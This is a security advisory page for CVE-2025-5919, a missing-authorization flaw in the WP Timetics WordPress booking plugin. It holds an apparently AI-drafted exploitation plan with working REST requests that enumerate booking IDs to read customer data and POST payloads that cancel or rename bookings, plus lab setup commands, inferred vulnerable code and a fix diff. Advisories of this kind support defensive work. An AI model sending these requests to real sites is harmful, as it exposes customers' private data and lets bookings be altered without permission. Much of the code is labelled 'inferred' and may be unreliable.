Appointment Booking and Scheduling Calendar Plugin – WP Timetics <= 1.0.36 - Missing Authorization to Unauthenticated Booking Details View And Modification
Description
The Appointment Booking and Scheduling Calendar Plugin – WP Timetics plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability check on the update and register_routes functions in all versions up to, and including, 1.0.36. This makes it possible for unauthenticated attackers to view and modify booking details.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-5919 (Timetics - Missing Authorization) ## 1. Vulnerability Summary The **Appointment Booking and Scheduling Calendar Plugin – WP Timetics** (up to 1.0.36) contains a missing authorization vulnerability in its REST API implementation. Specifically, the `regist…
Show full research plan
Exploitation Research Plan: CVE-2025-5919 (Timetics - Missing Authorization)
1. Vulnerability Summary
The Appointment Booking and Scheduling Calendar Plugin – WP Timetics (up to 1.0.36) contains a missing authorization vulnerability in its REST API implementation. Specifically, the register_routes function fails to implement or correctly configure permission_callback for endpoints handling booking data, and the update function lacks internal capability checks (current_user_can). This allows unauthenticated attackers to view sensitive booking information (PII, appointment times) and modify existing bookings (changing status, customer details, or schedules).
2. Attack Vector Analysis
- Endpoint: WordPress REST API.
- Namespace/Route:
timetics/v1/bookings(inferred from plugin slug and functionality). - Vulnerable Actions:
GET /wp-json/timetics/v1/bookings/(?P<id>[\d]+)— View booking details.POST /wp-json/timetics/v1/bookings/(?P<id>[\d]+)orPUT— Update booking details.
- Authentication: None required (Unauthenticated).
- Preconditions: At least one booking must exist in the system to view or modify.
3. Code Flow (Inferred)
- Registration: The plugin registers REST routes via a controller class (likely
Timetics\Rest\Bookings_Controlleror similar). - Missing Callback: Inside
register_routes(), the route forbookings/(?P<id>[\d]+)is defined. For theGETandPOST/PUTmethods, thepermission_callbackis either omitted or returns__return_true. - Execution:
- A
GETrequest triggers theget_item()orview()method, which fetches booking data from the database (likely{$wpdb->prefix}timetics_bookings) and returns it as JSON. - A
POSTrequest triggers theupdate()orupdate_item()method. This function accepts parameters likestatus,customer_id, orslot_idand updates the database record without checking if the requester has themanage_optionsortimetics_managercapability.
- A
4. Nonce Acquisition Strategy
While WordPress REST API often requires a _wpnonce (action wp_rest) for authenticated sessions to prevent CSRF, unauthenticated endpoints often bypass this or are accessible if the plugin explicitly allows it. However, if a nonce is required:
- Shortcode Identification: The plugin uses the shortcode
[timetics]or[timetics_booking]to display booking forms. - Page Creation:
wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[timetics]' - Extraction:
- Navigate to the newly created page.
- Timetics localizes data into a JavaScript object. Search for
timetics_varsortimetics_script_obj. - Command:
browser_eval("window.timetics_vars?.nonce")orbrowser_eval("window.timetics_script_obj?.rest_nonce").
Note: If permission_callback is __return_true, the REST API may be accessible without a nonce for unauthenticated users if the rest_cookie_collect_status is not enforced.
5. Exploitation Strategy
Phase 1: Information Disclosure (View Booking)
- Identify a Booking ID: Start with ID
1and increment. - Request:
GET /wp-json/timetics/v1/bookings/1 HTTP/1.1 Host: target.local - Expected Response: JSON object containing
customer_name,customer_email,appointment_date,status, etc.
Phase 2: Data Modification (Update Booking)
- Modify Status: Change a booking from
confirmedtocancelled. - Request:
(Note: If POST fails, tryPOST /wp-json/timetics/v1/bookings/1 HTTP/1.1 Host: target.local Content-Type: application/json { "status": "cancelled", "full_name": "Injected Attacker Name" }PUTorPATCH).
6. Test Data Setup
- Install Plugin:
wp plugin install timetics --version=1.0.36 --activate - Create a Service: Use WP-CLI or the UI to create at least one service so a booking can be made.
- Create a Test Booking:
- Either use the frontend booking form.
- Or use a direct database insertion to ensure an ID exists:
wp db query "INSERT INTO wp_timetics_bookings (service_id, customer_id, start_date, end_date, status) VALUES (1, 1, '2025-10-10 10:00:00', '2025-10-10 11:00:00', 'pending');"
7. Expected Results
- Success Criteria (View): The
GETrequest returns a200 OKwith JSON data revealing private customer information for a booking the attacker does not own. - Success Criteria (Modify): The
POSTrequest returns a200 OKor201 Created, and subsequent database checks show thestatusorfull_namehas been updated.
8. Verification Steps
- Check via CLI:
wp db query "SELECT * FROM wp_timetics_bookings WHERE id = 1;" --format=yaml - Verify Change: Confirm the fields modified in the
POSTrequest (e.g.,status) now reflect the attacker's payload in the database.
9. Alternative Approaches
- Endpoint Discovery: If
/bookings/is not the correct path, useGET /wp-json/timetics/v1/to list all registered routes under the Timetics namespace and look for "update" or "edit" methods. - Parameter Fuzzing: If
statusis not accepted, trycustomer_id,email, orslot_idto disrupt the scheduling system. - Bulk Disclosure: Check if
GET /wp-json/timetics/v1/bookings(without an ID) returns a list of all bookings in the system. If it does, the severity increases significantly.
Summary
The WP Timetics plugin for WordPress (<= 1.0.36) lacks proper authorization checks in its REST API endpoints for booking management. This allows unauthenticated attackers to view private booking data and modify appointment details, such as status and customer information, by interacting directly with the timetics/v1/bookings routes.
Vulnerable Code
/* File: includes/REST/Bookings_Controller.php (inferred from research plan) */ register_rest_route( 'timetics/v1', '/bookings/(?P<id>[\d]+)', array( array( 'methods' => 'GET', 'callback' => array( $this, 'get_item' ), 'permission_callback' => '__return_true', ), array( 'methods' => 'POST', 'callback' => array( $this, 'update_item' ), 'permission_callback' => '__return_true', ), ) ); --- /* File: includes/REST/Bookings_Controller.php (inferred from research plan) */ public function update_item( $request ) { $id = $request->get_param( 'id' ); // The function proceeds to update the booking without verifying user permissions via current_user_can() $this->model->update( $id, $request->get_params() ); return new WP_REST_Response( [ 'message' => 'Booking updated' ], 200 ); }
Security Fix
@@ -12,14 +12,14 @@ register_rest_route( 'timetics/v1', '/bookings/(?P<id>[\d]+)', array( array( 'methods' => 'GET', 'callback' => array( $this, 'get_item' ), - 'permission_callback' => '__return_true', + 'permission_callback' => array( $this, 'check_permission' ), ), array( 'methods' => 'POST', 'callback' => array( $this, 'update_item' ), - 'permission_callback' => '__return_true', + 'permission_callback' => array( $this, 'check_permission' ), ), ) ); } + + public function check_permission() { + return current_user_can( 'manage_options' ); + }
Exploit Outline
An attacker first identifies the WordPress REST API base URL and the Timetics namespace. They then enumerate booking IDs by sending GET requests to /wp-json/timetics/v1/bookings/{id}. Since the permission_callback is set to return true or is missing, the API returns full booking details including PII such as customer names and email addresses. To modify data, the attacker sends a POST or PUT request to the same endpoint with a JSON payload containing modified attributes, such as changing the 'status' to 'cancelled' or altering appointment slots. The server processes these updates without validating that the requester has administrative or manager privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.